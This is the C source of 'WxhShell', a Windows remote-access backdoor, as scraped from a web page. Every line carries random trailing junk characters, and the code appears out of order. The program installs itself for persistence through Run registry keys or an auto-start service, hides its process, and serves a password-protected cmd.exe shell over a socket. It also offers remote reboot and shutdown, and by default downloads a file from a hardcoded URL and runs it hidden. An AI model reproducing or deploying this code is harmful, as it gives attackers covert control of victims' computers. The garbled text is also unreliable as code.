    if(Boot(SHUTDOWN)) /Poet%XvRx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (3vHY`9  
    else { wz8PtfZ  
    closesocket(wsh); }$su4A@0  
    ExitThread(0); OV CR0  
    } 3cl9wWlJ_E  
    break; 1pp -=$k  
    } L7Dh(y=;7  
  // 获取shell .?C%1a&_l  
  case 's': { #>;FUZuJr  
    CmdShell(wsh); _K2?YY(#>  
    closesocket(wsh); "T/>d%O1b  
    ExitThread(0); lw%?z/HDf  
    break; 4NVV5_K a  
  } dm rps+L  
  // 退出 `A%^UCd  
  case 'x': { 9e!NOl\_;.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ye 6H*K  
    CloseIt(wsh); YL^=t^ !4  
    break; -!qu"A:  
    } w6|9|f/  
  // 离开 XP[uF ;w  
  case 'q': { K5Wg"^AHY/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I lR\  #  
    closesocket(wsh); ~.Ik#At  
    WSACleanup(); G* %t'jX9  
    exit(1); wl=61 Mb  
    break; -OZ 5vH0  
        } k4J8O3E  
  } JD>d\z2QC  
  } [ Mg8/Oy  
2pHR_mrb  
  // 提示信息 iSRpfU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1xyU  
} 0:Xxl76v4  
  } n7aU<`U  
pI+!92Z  
  return; 10Wz,vW,n  
} ]T! }XXK  
#1'\.v  
// shell模块句柄 H14Ic.&  
int CmdShell(SOCKET sock) YO)$M-]>%J  
{ AT Zhr. H  
STARTUPINFO si; AZ|yX  
ZeroMemory(&si,sizeof(si)); !H][LXB~H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^^` Jcd/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wJb#g0  
PROCESS_INFORMATION ProcessInfo; 2Tav;LKX  
char cmdline[]="cmd"; SM0M%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5`/@N{e  
  return 0; .@ C{3$,VG  
} UUo;`rkT  
Cm$1$?J  
// 自身启动模式 f67NWFX  
int StartFromService(void) }0 hL~i  
{ N<|$h5isq  
typedef struct 2g{)AtK$#  
{ 2],_^XBvB  
  DWORD ExitStatus; p4>$z& _  
  DWORD PebBaseAddress; #h!*dj"  
  DWORD AffinityMask; \/7i-B]G7  
  DWORD BasePriority;  oz'\q0  
  ULONG UniqueProcessId; !M<{E*  
  ULONG InheritedFromUniqueProcessId; - "*r  
}   PROCESS_BASIC_INFORMATION; 23(=Xp3;>  
73A)lU.  
PROCNTQSIP NtQueryInformationProcess; iJFs0?*  
.ujT!{>v/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B-.v0R`5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X#a`K]!B  
.V9e=yW!*  
  HANDLE             hProcess; V+-$ jOh  
  PROCESS_BASIC_INFORMATION pbi; j Ib  
C.:=lo B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); inPJ2uBD\^  
  if(NULL == hInst ) return 0; C) QKPT  
EY`H}S!xy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g_*T?;!.U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8?t"C_>*e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /NT[ETMk+  
@(``:)Z<b  
  if (!NtQueryInformationProcess) return 0; 3XiO@jzre  
=! Vf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g o5]<4`r  
  if(!hProcess) return 0; F-(dRSDNM  
NW|f7 ItX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  c9''  
I0AJY )R  
  CloseHandle(hProcess); Uv_N x10  
PMsz`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4W4kwU6D  
if(hProcess==NULL) return 0; q"KnLA(  
T@wcHg  
HMODULE hMod; :Br5a34q  
char procName[255]; <O?y-$~  
unsigned long cbNeeded; Y-piL8Xc  
O u>u %  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q+SD6qM  
1PaUI#X"2F  
  CloseHandle(hProcess); A \rt6/  
<HWS:'1  
if(strstr(procName,"services")) return 1; // 以服务启动 gIWrlIV{9  
mAgF73,3  
  return 0; // 注册表启动 J`M&{UP  
} |XYEn7^r  
eC DIwB28  
// 主模块 ?q`0ZuAg\<  
int StartWxhshell(LPSTR lpCmdLine) c;f!!3&  
{ TG48%L  
  SOCKET wsl; m4K* <  
BOOL val=TRUE; "\"DCDKmG  
  int port=0; Eu}b8c  
  struct sockaddr_in door; ~Vh(6q.oT  
.Hhhi  
  if(wscfg.ws_autoins) Install(); pN6%&@) =  
x"kjs.d7[<  
port=atoi(lpCmdLine); J;t 7&Zpe  
v1U?&C  
if(port<=0) port=wscfg.ws_port; )/ Ud^wi  
r r`;W}3  
  WSADATA data; d|9b~_::V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PW(\4Q\  
rjt8fN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;?fS(Vz~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .@)mxC:\K9  
  door.sin_family = AF_INET; lA!"z~03*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *F ^wtH`  
  door.sin_port = htons(port); 9L0GLmLk1u  
4rK{-jvh>m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  I7+9~5p  
closesocket(wsl); ~8 H_u  
return 1; +1JH  
} ,ea^,H6  
m .IU ;cR  
  if(listen(wsl,2) == INVALID_SOCKET) { NE8 jC7  
closesocket(wsl); r'LVa6e"N  
return 1; '[|+aJ  
} zr v]  
  Wxhshell(wsl); x}/,yaWZ  
  WSACleanup(); ql{(Lf$  
Jo(`zuLJ  
return 0; 0X8t>#uF  
>DM44  
} V~DMtB7  
Xm2\0=v5;  
// 以NT服务方式启动 8VG!TpX/B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5FVndMM#y  
{ :%&Q-kk4!  
DWORD   status = 0; in <(g@Zg  
  DWORD   specificError = 0xfffffff; $\o {_?}1  
DDT_kK;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m~#!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l:;PXy6)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FLal}80.o:  
  serviceStatus.dwWin32ExitCode     = 0;  ~fl@ 2  
  serviceStatus.dwServiceSpecificExitCode = 0; sKz`aqI  
  serviceStatus.dwCheckPoint       = 0; >% p{38  
  serviceStatus.dwWaitHint       = 0; !1T\cS#1%  
MfO:m[s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7`vEe 'qz  
  if (hServiceStatusHandle==0) return; 6h?gs"[j  
{%)s.5Pfw  
status = GetLastError(); 4!Z5og1kn  
  if (status!=NO_ERROR) m`#Od^vk  
{ vzzE-(\\e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #?MY&hdU9  
    serviceStatus.dwCheckPoint       = 0; JTqDr  
    serviceStatus.dwWaitHint       = 0; _iKq~\v2  
    serviceStatus.dwWin32ExitCode     = status; HD,xY4q&N  
    serviceStatus.dwServiceSpecificExitCode = specificError; c$ S{^IQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cEW0;\$  
    return; 2M<R(W!&  
  } wS+V]`b  
<H3ezv1M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8 a!Rb-Q:  
  serviceStatus.dwCheckPoint       = 0; ,jA)wJ  
  serviceStatus.dwWaitHint       = 0; R2etB*k6[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); spU)]4P&  
} 0tIS Xu-  
d\MLOXnLq;  
// 处理NT服务事件,比如:启动、停止 ` 8W*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N#V.1<Y  
{ m^'uipa\  
switch(fdwControl) lN,/3\B  
{ 5Dp#u  
case SERVICE_CONTROL_STOP: =4uSFK_L  
  serviceStatus.dwWin32ExitCode = 0; AIb2k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xX3'bsN  
  serviceStatus.dwCheckPoint   = 0; OJT1d-5p  
  serviceStatus.dwWaitHint     = 0; YzosZ! L!<  
  { dpQG[vXe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); { pu85'DV  
  } J{[n?/A{  
  return; 7e7 M@8+4  
case SERVICE_CONTROL_PAUSE: =/<LSeLxH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T@}|zDC#  
  break; .)1_Ew  
case SERVICE_CONTROL_CONTINUE: _(J&aY\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g&dPd7  
  break; IcP)FB 4  
case SERVICE_CONTROL_INTERROGATE: hLJM%on  
  break; _AV1WS;^^8  
}; 4?N8R$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }'r[m5T  
} r|4t aV&  
j Ja$a [  
// 标准应用程序主函数 Nu8Sr]p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a`Gx=8  
{ 8eA+d5k\.  
Vz14j_  
// 获取操作系统版本 >+. ( r]  
OsIsNt=GetOsVer(); [{4 MR%--  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T0)4v-EO  
U$oduY#  
  // 从命令行安装 \ w3]5gJZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); %B.D^]S1:  
C]^H&  
  // 下载执行文件 80A.<=(=.  
if(wscfg.ws_downexe) { [dtbkQt,c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =to=8H-  
  WinExec(wscfg.ws_filenam,SW_HIDE); !=;XBd-  
} Z*G(5SqUh"  
W\1i,ew>  
if(!OsIsNt) { f%5zBYCgC  
// 如果时win9x,隐藏进程并且设置为注册表启动 [c_|ob]  
HideProc(); E{6~oZ#L  
StartWxhshell(lpCmdLine); (}.@b|s  
} 2Q;9G6p  
else V"cKJ;s  
  if(StartFromService()) f7Ul(D:j\  
  // 以服务方式启动 Q{e\}wN  
  StartServiceCtrlDispatcher(DispatchTable); :Xc@3gF  
else O1')nYF7  
  // 普通方式启动 zy*/T>{#  
  StartWxhshell(lpCmdLine); -}K<ni6  
9&<x17'  
return 0; B|o2K}%f  
} \OlmF<~  
?UM*Xah  
keRE==(D  
5SCKP<rb  
=========================================== 04r$>#E  
L(GjZAP  
`3p~m,  
c8Z wr]DF  
vb9OonE2  
1+?^0%AC  
" hsu{eyp  
fnx-s{c?  
#include <stdio.h> fdONP>K[E  
#include <string.h> Z{'i F   
#include <windows.h> ETs>`#`6o  
#include <winsock2.h> r$)w7Gk<  
#include <winsvc.h> s/089jlc  
#include <urlmon.h> )O:0 ]=#))  
26CS6(sn  
#pragma comment (lib, "Ws2_32.lib") 6(P M'@i  
#pragma comment (lib, "urlmon.lib") 0'nikLaKy  
tHLrhH<w  
#define MAX_USER   100 // 最大客户端连接数 &/,|+U[  
#define BUF_SOCK   200 // sock buffer \9-"M;R.d  
#define KEY_BUFF   255 // 输入 buffer G:g69=x y  
O|_h_I-2  
#define REBOOT     0   // 重启 C]Q8:6b  
#define SHUTDOWN   1   // 关机 ^*fQX1h<  
vloF::1  
#define DEF_PORT   5000 // 监听端口 \W,I?Kx$  
36US5ef  
#define REG_LEN     16   // 注册表键长度 ^n0]dizB  
#define SVC_LEN     80   // NT服务名长度 /dnCwFXf  
ON+J>$[[  
// 从dll定义API q+,Q<2J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Jmx Ko+-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4@xE8`+b G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1?Z4 K /  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;;&}5jcV  
hlt[\LP=$  
// wxhshell配置信息 n_'{^6*O  
struct WSCFG { *hcYGLx r  
  int ws_port;         // 监听端口 cu+FM  
  char ws_passstr[REG_LEN]; // 口令 [z 7bixN  
  int ws_autoins;       // 安装标记, 1=yes 0=no J4Dry<  
  char ws_regname[REG_LEN]; // 注册表键名 fFQ|T:vm  
  char ws_svcname[REG_LEN]; // 服务名 [` sL?&a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #:SNHM^><  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EYA,hc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .bio7c6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1^gl}^|B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z1"v}g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hpU2  
2;w*oop,O  
}; 5h;+Ky!I  
>rvQw63\  
// default Wxhshell configuration Ci rZ+o  
struct WSCFG wscfg={DEF_PORT, m8.U &0  
    "xuhuanlingzhe", 2#k5+?-c61  
    1, AlJ} >u  
    "Wxhshell", r(9~$_(vK  
    "Wxhshell", u]OW8rc  
            "WxhShell Service", kZ"BBJ6w  
    "Wrsky Windows CmdShell Service", R LD`O9#j  
    "Please Input Your Password: ", Z(Jt~a3o  
  1, itMg|%B%  
  "http://www.wrsky.com/wxhshell.exe", D_Bb?o5  
  "Wxhshell.exe" g:EVhuK  
    }; 1@$Ko5  
OrK&RC  
// 消息定义模块 P9 Z}H(?C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )2M>3C6>f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~y7jCcd`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W 5R\Q,x6  
char *msg_ws_ext="\n\rExit."; 64 5z#_}C$  
char *msg_ws_end="\n\rQuit."; 8U_{|]M  
char *msg_ws_boot="\n\rReboot..."; W6Y@U$P#G  
char *msg_ws_poff="\n\rShutdown..."; M9f35 :  
char *msg_ws_down="\n\rSave to "; Dwzg/F(  
yq$,,#XDD=  
char *msg_ws_err="\n\rErr!"; I|Gp$ uq _  
char *msg_ws_ok="\n\rOK!"; Rn@# d}  
A~mum+[5  
char ExeFile[MAX_PATH]; #Skv(IL  
int nUser = 0; H*r>Y  
HANDLE handles[MAX_USER]; 4"Hye&O  
int OsIsNt; Q`D_|L  
N?.%?0l  
SERVICE_STATUS       serviceStatus; 9+pmS#>_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A= w9V  
Si~vDQ7"  
// 函数声明 yxc=Z0~1  
int Install(void); V(E/'DR  
int Uninstall(void); ccL~#c0P7  
int DownloadFile(char *sURL, SOCKET wsh); zen*PeIrA^  
int Boot(int flag); :Lz\yARpk  
void HideProc(void); F;>!&[h}G  
int GetOsVer(void); \nP>:5E1  
int Wxhshell(SOCKET wsl); ^4o;$u4R  
void TalkWithClient(void *cs); R=KQ  
int CmdShell(SOCKET sock); vI@%Fg+D  
int StartFromService(void); 'g{9@PkGn  
int StartWxhshell(LPSTR lpCmdLine); y\x+  
3*@5S]]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^urDoB:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q1z;/A$Al  
`HBf&Z  
// 数据结构和表定义 OD_W8!-  
SERVICE_TABLE_ENTRY DispatchTable[] = _l1NKk  
{ `ta7Gc/:UY  
{wscfg.ws_svcname, NTServiceMain}, *Aa?yg:=  
{NULL, NULL} fYW6b[lI  
}; %D[0nt|X  
5>TK^1 :  
// 自我安装 \!ej<T+JR>  
int Install(void) ^53r/V}%  
{ nakYn  
  char svExeFile[MAX_PATH]; ERN>don2  
  HKEY key; wT{nu[=GH*  
  strcpy(svExeFile,ExeFile); LWt&3  
c?@T1h4  
// 如果是win9x系统,修改注册表设为自启动 OiP!vn}k  
if(!OsIsNt) { n-@j5w+k4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -xP!"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4f;HQ-Iv  
  RegCloseKey(key); RZCq{|L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SZXY/~=h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pn^ d]rou?  
  RegCloseKey(key); rX1QMR7?  
  return 0; nt@aYXK4|  
    } T|TO}_x  
  } S)/_muP  
} to$h2#i_  
else { a.zpp'cEb  
\~_9G{2?  
// 如果是NT以上系统,安装为系统服务 ,#kIr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WH \)) y-  
if (schSCManager!=0) VzKW:St  
{ E^ SH\5B  
  SC_HANDLE schService = CreateService zO MA  
  ( /ID?DtJ  
  schSCManager, x>Jr_A(  
  wscfg.ws_svcname, GbaEgA'fa  
  wscfg.ws_svcdisp, f-7 1~  
  SERVICE_ALL_ACCESS, x UD-iSY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qZA).12qS  
  SERVICE_AUTO_START, `FC(  
  SERVICE_ERROR_NORMAL, Kc^;vT>3  
  svExeFile, *C:|X b<9  
  NULL, +PuPO9jKO@  
  NULL, #&7}-"Nd  
  NULL, 2m2;t0  
  NULL, =7o"u3hG  
  NULL P->y_4O  
  ); ]:~OG@(  
  if (schService!=0) o+$7'+y1n-  
  { Ht4;5?/y  
  CloseServiceHandle(schService); 5kz)5,KjM  
  CloseServiceHandle(schSCManager); Ez-[ )44/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2]ape !(  
  strcat(svExeFile,wscfg.ws_svcname); >cCR2j,r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { go<W( ,O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ..R-Ms)k=  
  RegCloseKey(key); [bk?!0]aV  
  return 0; KFwzy U"  
    } 5>\/[I/!  
  } [ E ]E  
  CloseServiceHandle(schSCManager); c*@E_}C#  
} g'm+/pU)w)  
}  1OF& *  
_}En/V_  
return 1; A`}rqhU.{-  
} ^:Gie  
\<)9?M :  
// 自我卸载 4zo5}L `Y  
int Uninstall(void) % V ;?  
{ M%0C_=zg  
  HKEY key; JQ@E>o7_  
K]9"_UnN  
if(!OsIsNt) { k4 [|'Dk?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d $Pab*  
  RegDeleteValue(key,wscfg.ws_regname); !f+H,]D"  
  RegCloseKey(key); hBX!iukT|{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5)MS~ii  
  RegDeleteValue(key,wscfg.ws_regname); gjAIEI  
  RegCloseKey(key); ixT:)|'i  
  return 0; )}?#  
  } A?pbWt ~}  
} g #6E|n  
} k|H:  
else { 9c6gkt9eB  
D'Y-6W3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >b{q.  
if (schSCManager!=0) %eO0w a$a  
{ ]3 l9:|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k>g _Z`%<  
  if (schService!=0) !GNBDRr  
  { x" L20}  
  if(DeleteService(schService)!=0) { :FTMmW,>'  
  CloseServiceHandle(schService);  D 'Zt  
  CloseServiceHandle(schSCManager); AQ[GO6$,%H  
  return 0; C .~+*"Vw  
  } ?TKRjgW`@_  
  CloseServiceHandle(schService); E`uY1B[c  
  } SF<c0bR9  
  CloseServiceHandle(schSCManager); ^kB8F"X  
} VQS~\:1  
} u2?|Ue@[  
z3;*Em8Ir  
return 1; _zwG\I|Q  
} &H`jL4S  
MfWyc_  
// 从指定url下载文件 T r1?620  
int DownloadFile(char *sURL, SOCKET wsh) d5gR"ja  
{ {*I``T_+  
  HRESULT hr; xe` </  
char seps[]= "/"; @6]sNm  
char *token; L$E{ycn  
char *file; 8Hn|cf0  
char myURL[MAX_PATH]; #kaY0M  
char myFILE[MAX_PATH]; [.uG5%fa  
K8UP,f2  
strcpy(myURL,sURL); %*0^0wz  
  token=strtok(myURL,seps); <yNM%P<Oy  
  while(token!=NULL) V1 3N}]  
  { 70Wggty  
    file=token; YLzx<~E4a  
  token=strtok(NULL,seps); 2-Ej4I~  
  } VYk!k3qS  
jGpN,/VQa  
GetCurrentDirectory(MAX_PATH,myFILE); Tw;3_Lj  
strcat(myFILE, "\\"); ([m mPyp>L  
strcat(myFILE, file); Lja>8m  
  send(wsh,myFILE,strlen(myFILE),0); yooX$  
send(wsh,"...",3,0); ;CPr]avY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [J4gH^Z_  
  if(hr==S_OK) io-![^{  
return 0; LH8 fBhw  
else )]H-BIuGm  
return 1; r'HtZo$^R  
G#u6Am)T  
} e3nYbWBy]  
P>NF.B Cq  
// 系统电源模块 g9Xu@N;bL  
int Boot(int flag) K+3IWZ&+dG  
{ 9{5&^RbCp  
  HANDLE hToken; }n3/vlW9  
  TOKEN_PRIVILEGES tkp; <4g{ fT0  
G(G{RAk>  
  if(OsIsNt) { ~5CBEIF(NS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uYs5f.! `  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8L:ji,"  
    tkp.PrivilegeCount = 1; {_ i\f ]L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K k-S}.E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G <i@ 5\#  
if(flag==REBOOT) { iiS-9>]/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]);%wy{Ho  
  return 0; Hn%xDJ'  
} (2^gVz=j  
else { 2[O&NdP\Zk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /2=#t-p+  
  return 0; GycSwQ ,  
} 0+kH:dP{  
  } I uMQ9 &  
  else { Tk:h@F|B.|  
if(flag==REBOOT) { =,_ +0M9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LIvFx|  
  return 0; H1QJ k_RL  
} iV*q2<>  
else { (nlvl?\d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qQ?"@>PALD  
  return 0; odjT:Vr  
} ;h*K}U  
} 7 /VK##z  
ymx>i~>7J  
return 1; ['B?i1 .  
} 7Z\--=;|[:  
W;'!gpa  
// win9x进程隐藏模块 =}DR) 9  
void HideProc(void)  @Z\,q's  
{ =/y]d<g  
ifUGY[L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g!?:Ye`5  
  if ( hKernel != NULL ) d4>Z8FF|1B  
  { E[@ u 3i8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D6>2s\:>vp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )4<__|52"1  
    FreeLibrary(hKernel); qln3 k`  
  } >0p h9$  
q_g+Jf P-D  
return; \{Z; :,S  
} E_])E`BJ  
Crho=RJPR  
// 获取操作系统版本 T92UeG  
int GetOsVer(void) rV R1wsaL  
{ k.vBj~xU  
  OSVERSIONINFO winfo; h_:C+)13`x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Gb#Cm]  
  GetVersionEx(&winfo); >VP= MbN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  \N!AXD  
  return 1; #fM#p+v  
  else 8S mCpg  
  return 0; / ';0H_  
} ypKUkH/  
hb zC#@ q  
// 客户端句柄模块 2ORNi,_I  
int Wxhshell(SOCKET wsl) \ 3wfwu.q  
{ 7\$qFF-y  
  SOCKET wsh; 75"f2;  
  struct sockaddr_in client; 3DiLk=\~  
  DWORD myID; \W1,F6&j  
R7$:@<:g  
  while(nUser<MAX_USER) 9[b<5Llt  
{ %k-3?%&8  
  int nSize=sizeof(client); ein4^o<f.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Kw efs;<E?  
  if(wsh==INVALID_SOCKET) return 1; \Xm,OE_v"  
WQ[_hg|k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "?ucO4d  
if(handles[nUser]==0) !;i`PPRwk  
  closesocket(wsh); DnCP aM4%  
else -8:&>~4`  
  nUser++; Ghx3EVqnx"  
  } E^ P,*s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Bg5Wba%NK  
xO^:_8=&:  
  return 0; =vQcYa  
} ^W'fA{sr  
!%^^\,  
// 关闭 socket z=rT%lz6  
void CloseIt(SOCKET wsh) # {w9s 0:  
{ P `}zlml  
closesocket(wsh); %QH)'GJQ  
nUser--; |Y$uqRdV  
ExitThread(0);  `x l   
} <49K>S9O  
3nT^?;-  
// 客户端请求句柄 ?t/~lv  
void TalkWithClient(void *cs) r@v,T8  
{ K`iv c N"  
i]Fp..`v~  
  SOCKET wsh=(SOCKET)cs; *BR~}1 i  
  char pwd[SVC_LEN]; ,Sq/y~  
  char cmd[KEY_BUFF]; Z*y`R XE  
char chr[1]; ,uo'c_f(e  
int i,j; A'q#I>j`  
C8[&S&<_<  
  while (nUser < MAX_USER) { i5Zk_-\#H  
Ss~;m']68  
if(wscfg.ws_passstr) { "x=f=;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !/}O>v~o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); < ,Ue 0  
  //ZeroMemory(pwd,KEY_BUFF); ?o oe'V@  
      i=0; wfU7G[  
  while(i<SVC_LEN) { eqP&8^HP  
.z)%)PVV  
  // 设置超时 w[9|cgCY  
  fd_set FdRead; Bg&i63XL$$  
  struct timeval TimeOut; /2UH=Q!x4E  
  FD_ZERO(&FdRead); :*ing  
  FD_SET(wsh,&FdRead); 0y 7"SiFY  
  TimeOut.tv_sec=8; -BRc8 /  
  TimeOut.tv_usec=0; bSfpbo4(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sm0xLZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5b!vgm#])  
;i Fz?d3;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !lf|7  
  pwd=chr[0]; fBRo_CU8!  
  if(chr[0]==0xd || chr[0]==0xa) { 4]h =yc R  
  pwd=0; $ et0s;GBv  
  break; J)`-+}7$v  
  } zo+nq%=  
  i++; ~%^ tB  
    } bu:S:`  
ln?v j)j  
  // 如果是非法用户,关闭 socket kSR\RuY*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8Eakif0CO  
} ;pqg/>W'  
12;8o<~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2_n7=&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lz YEx  
o_@4Sl8  
while(1) { n#q<`}u,  
*pAV2V(!23  
  ZeroMemory(cmd,KEY_BUFF); :bz}c48%  
[z9 `)VIe  
      // 自动支持客户端 telnet标准   "}pNe"ok  
  j=0; |$Xl/)Oq  
  while(j<KEY_BUFF) { y.WEj?EL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nQ q=7Gu  
  cmd[j]=chr[0];  @2Z#x  
  if(chr[0]==0xa || chr[0]==0xd) { jDy-)2<  
  cmd[j]=0; .2%zC & ;  
  break; jUSmq m'  
  } Po ZuMF  
  j++; -u2P ?~  
    } SS$[VV  
{DU`[:SQZg  
  // 下载文件 oASY7k_3  
  if(strstr(cmd,"http://")) { }emN9Rj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2 $?C7(kW  
  if(DownloadFile(cmd,wsh)) f !s=(H;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zb1<:[  
  else q:dHC,fO  
